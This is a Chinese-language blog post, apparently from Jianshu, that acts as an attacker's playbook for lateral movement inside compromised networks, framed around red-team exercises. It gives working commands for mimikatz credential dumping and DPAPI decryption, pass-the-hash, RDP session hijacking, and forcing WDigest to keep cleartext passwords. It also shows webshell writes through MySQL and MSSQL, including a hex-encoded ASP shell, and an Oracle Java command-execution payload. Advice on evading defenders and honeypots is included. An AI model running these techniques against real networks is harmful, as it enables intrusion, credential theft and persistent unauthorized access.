内网渗透-横向攻击

什么是内网横向攻击

当通过外部打点进入到目标内网时,需要利用现有的资源尝试获取更多的凭证与权限,进而达到控制整个内网、拥有最高权限、发动 APT (高级持续性威胁攻击)等目地。
在攻防演练中,攻击方需要在有限的时间内近可能的获取更多的权限,因此必须具备高效的横向攻击思路。本次对内网横向攻击的技巧和方法进行总结。

横向攻击注意事项

当进行内网横向攻击前,需要对可能出现的问题进行预防。
1、权限丢失
webshell被发现,网站关站,木马后门被发现,主机改为不出网环境等。当遇到这些问题,需要做好应对措施,多方位的做好权限维持。
2、内网防火墙与杀毒软件
内网防火墙,内网态势感知,内网流量监控,ids,ips等安全设备都会给横向攻击的开展造成很大的麻烦,应对措施有,对传输流量进行加密,修改cs流量特征,禁止大规模内网探测扫描等等。
3、内网蜜罐主机,蜜罐系统
近年来攻防演练越来越多的防守方启用蜜罐主机,蜜罐系统,一旦蜜罐捕捉到攻击行为,并及时发现和处置,会导致权限丢失,前功尽弃。
4、运维管理人员
内网横向攻击尽可能与运维管理人员的工作时间错开,尽量避免长时间登录administrator用户,如激活guest用户登录。降低被发现的几率。

内网信息收集

内网横向攻击是基于信息收集展开的,信息收集决定了横向的广度和深度,在实战中横向攻击和信息收集是相辅相成、交替进行的。

网段探测

探测当前主机通信的其它网段。
常用的手法有:
1、ipconfig、ifconfig、arp -a等命令
2、配置文件中的连接记录
3、浏览器记录
4、远程连接记录
。。。

端口服务探测

对内网服务端口进行扫描,根据开放的端口服务选择横向的方法。

7001,80,8080,11211,6379,1099,1090,8088,9081,9080,9090,3306,1433,1521,5432,27017,8069,9200,9300,8161,50075,50070,873,5984

可以使用goby自动收集网段端口信息


其它信息收集

尽可能收集对横向攻击有价值的信息
如存放密码的文件、运行的进程信息、敏感的日志信息等等。

主机横向

收集密码信息、通过rdp和ssh进行主机横向

内网hash/明文密码获取

1、mimikatz抓取当前主机用户的hash密码

privilege::debug
sekurlsa::logonPasswords

2、获取rdp连接保存的密码
查看用户保存的凭证文件

shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

利用 mimikatz 获取 guidMasterKey

mimikatz privilege::debug
mimikatz dpapi::cred /in:C:\Users\nuoyan\AppData\Local\Microsoft\Credentials\8FC163874708FE28788127CF58FF4843

查找对应的 Masterkey

mimikatz sekurlsa::dpapi

使用Masterkey解密凭证文件获取密码明文

mimikatz dpapi::cred /in:C:\Users\nuoyan\AppData\Local\Microsoft\Credentials\8FC163874708FE28788127CF58FF4843 /masterkey:c0bf810227c26e7a523915e15*

pth

pth,指Pass-The-Hash,当目标机系统>=win server 2012时,无法通过lsass.exe进程中是抓取明文密码,且随着信息安全意识的提高,弱口令越来越少,经常会遇到拿到hash却解不开的情况。

cs/msf/impacket_smbexec

cs 自带pth



msf_psexec模块

use exploit/windows/smb/psexec
set rhosts 192.168.1.1
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4

impacket_smbexec

python smbexec.py -hash esaad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 nuoyan@192.168.1.1

pth登录远程rdp

对于server 2012系统,直接使用mimikatz传递ntlm hash值登录

privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"

win10系统报错



修改注册表

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

重新登录

privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"

rdp劫持

支持多用户登录的系统,system权限下切换到administrator用户的桌面。
激活登录guest用户,然后使用sc命令切换到administrator用户桌面。

query user
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"      #修改为目标会话id和当前会话名
net start tide

rdp、ssh爆破

使用收集到的密码构造字典对rdp服务和ssh服务进行爆破。
超级弱口令爆破工具



御剑rdp爆破工具


实战遇到的问题

1、服务器上安全了杀软,mimikatz不免杀
解决方法:
cs自带的mimikatz通过dll反射加载内存具有一定的免杀性
内网渗透-免杀抓取windows hash
https://www.jianshu.com/p/00d70dc76678
2、服务器版本高或者安装了补丁导致无法读取明文密码
解决方法:
修改注册表

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
或者
powershell Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

强制锁屏
cmd

rundll32 user32.dll,LockWorkStation

powershell

Function Lock-WorkStation 
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

等待用户登录,重新抓取即可获取明文密码

未授权访问横向

默认密码为空或者不存在密码校验
常见的未授权访问服务有:

1、Redis 未授权访问漏洞                   
2、MongoDB 未授权访问漏洞               
3、Jenkins 未授权访问漏洞 
4、Memcached 未授权访问漏洞
5、JBOSS 未授权访问漏洞
6、VNC 未授权访问漏洞
7、Docker 未授权访问漏洞
8、ZooKeeper 未授权访问漏洞
9、Rsync 未授权访问漏洞
10、Atlassian Crowd 未授权访问漏洞
11、CouchDB 未授权访问漏洞
12、Elasticsearch 未授权访问漏洞
13、Hadoop 未授权访问漏洞
14、Jupyter Notebook 未授权访问漏洞

利用参考链接:
https://mp.weixin.qq.com/s/nufn9dYyswBSJWHvO0U0eQ

弱口令横向

tomcat/weblogic/jboss弱口令

登录控制台部署war包getshell
Tomcat
参考链接:https://www.cnblogs.com/qianxinggz/p/13440366.html


Weblogic
参考链接:https://www.cnblogs.com/bmjoker/p/9822886.html
image.png

Jboss
参考链接:https://blog.csdn.net/weixin_41598660/article/details/108320489

FTP弱口令

文件传输协议默认端口21
利用参考链接:https://www.cnblogs.com/renhaoblog/p/13065978.html

Telnet弱口令

在内网中主要是一些防火墙、路由器、交换器等网络设备使用,在使用了弱口令的情况下可以登录Telnet对设备配置进行更改。

Axis2

默认账号admin密码axis2
通过部署恶意aar包getshell


利用参考链接:http://sunu11.com/2018/11/03/Axis2%20getshell/

数据库横向

通过信息收集查找配置文件中数据库连接地址、账户密码信息。
常见的配置文件有 web.config、config.php、db.properties 等等
通过命令行进行查找
windows

findstr /si password  config.*  *.ini *.txt *.properties

linux

find / -name *.properties
grep -r "查询内容"  文件目录

把收集到的密码与常见密码构造字典,对内网所有数据库进行密码爆破。
使用超级弱口令工具导入开放了服务的ip地址,选择构造的特殊字典进行爆破。


mysql

利用方法:
1、udf执行系统命令
参考https://www.jianshu.com/p/c29cd986e792
2、网站目录写shell
into outfile写文件(适用于低版本的mysql)

select 16进制木马 into outfile '/var/www/jumbo.php';

日志写shell

set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/tide.php';
select '<?php @assert($_POST["tide"]); ?>';
set global general_log = off;

mssql

1、xp_cmdshell 执行系统命令
2、sp_oacreate 执行系统命令
3、通过沙盒执行命令
4、通过Agent Job执行命令
5、SQL Server CLR
6、网站目录写shell
具体操作可参考:
https://www.cnblogs.com/R4v3n/articles/9072549.html#menu_index_5

实战中遇到过的问题:

1、不支持对系统目录进行即席更新
解决方法:

EXEC sp_configure ‘allow_updates
EXEC sp_configure 'allow_updates',0;
RECONFIGURE WITH OVERRIDE;

2、服务器存在防护或者其它原因导致无法执行命令
服务器开启了web服务,但是没暴露网站绝对路径
解决方法:
第一步:使用SQLTOOLS DOS命令功能不可用,文件管理功能能正常使用
在网站中寻找一个特征明显的文件名,通过SQLTOOLS的文件管理功能去查找得到web绝对路径。



第二步:向web路径下写webshell

1、sp_makewebtask写文件

declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;
exec sp_makewebtask 'c:\www\testwr.asp','select''<%execute(request("a"))%>'' '

2、存储过程写文件

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' 

3、log备份写文件

alter database 库名 set RECOVERY FULL 
create table cmd (a image) 
backup log 库名 to disk = 'c:\' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log 库名 to disk = 'c:\2.asp'

4、差异备份写文件

backup database 库名 to disk = 'c:\bak.bak';
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;

oracle

1、创建JAVA包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

2、JAVA权限

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

3、创建函数

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

4、执行命令

select LinxRUNCMD('whoami') from dual;

还可以尝试oracleshell工具执行命令


其它数据库

rdis、mangodb、CouchDB数据库默认存在未授权访问漏洞、设置了弱口令密码的情况下可以进行利用。
参考酒仙桥六号部队师傅们的文章
PostgreSQL
https://mp.weixin.qq.com/s/E-MHrTOaTd6NJ7-G2qXJhA
NoSQL
https://mp.weixin.qq.com/s/S-ICnK6jWSEr1Cg7_dVYbQ

反序列化rce

shiro反序列化

shiro指纹:
set-Cookie: rememberMe=deleteMe
url中存在 jsessionid=579437C993DE553A887A879FF6D18CFC
利用工具:
感谢飞鸿大佬
https://github.com/feihong-cs/ShiroExploit

weblgoic

利用各种反序列化漏洞直接rce
21superman大佬写的利用工具
https://github.com/21superman/weblogic_exploit

rmi

小天之天师傅的利用工具


内核漏洞横向

ms17010

Ehernal Blue通过Tcp端口445和139来利用SMBv1和NBT中的远程代码执行漏。
容易造成目标服务器蓝屏,谨慎使用
漏洞检测:


漏洞利用:
cs插件:
下载地址:https://github.com/phink-team/Cobaltstrike-MS17-010
cs安装下载的插件,导入aggressor.cna文件
msf 模块:search ms17_010
方程式利用工具


参考链接:
内网渗透-不出网渗透技巧
https://www.jianshu.com/p/ce5e8fac1abf

cve-2019-0708

暂时没有好用的exp

cve-2020-0796

永恒之黑漏洞只能用于win10,利用条件多且容易造成目标宕机,不推荐利用。
利用参考链接:
https://blog.csdn.net/god_zzZ/article/details/106569237

其它横向手段

内网常规web打点

思路:当其它横向手段陷入困境时可以尝试在内网中进行常规web打点,打开突破口。
探测网段中的web服务,选择使用小米范web查找器



以获取服务器权限为目的进行web打点
常用的利用漏洞有:文件上传漏洞、中间件框架漏洞、sql注入
文件上传漏洞:寻找上传点,上传webshell获取服务器权限
中间件框架漏洞:直接获取服务器权限、种类繁多、考验个人积累。
通用系统rce漏洞:利用各种cms、通用系统漏洞,获取服务器权限,考验个人积累。
sql注入:sql注入获取web登录密码,写入webshell、os-shell执行命令
。。。

中间人攻击

特点:动静大、效率低
适合长期的渗透工作,如APT。不适合短期以拿权限为目的的攻防演练。


常用的攻击手法有ARP欺骗流量嗅探、DNS劫持钓鱼。
利用参考链接:
https://www.jianshu.com/p/00eb597e9fbc
https://www.jianshu.com/p/63faa148102d

总结

对内网渗透中常用横向攻击手段进行了总结,未包含域环境下的横向技术。
由于环境、人员等因素实战中横向时会遇到各种各样的问题,因此需要大量的知识和经验积累,后续会结合实战继续对横向技巧和利用方法进行完善补充。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容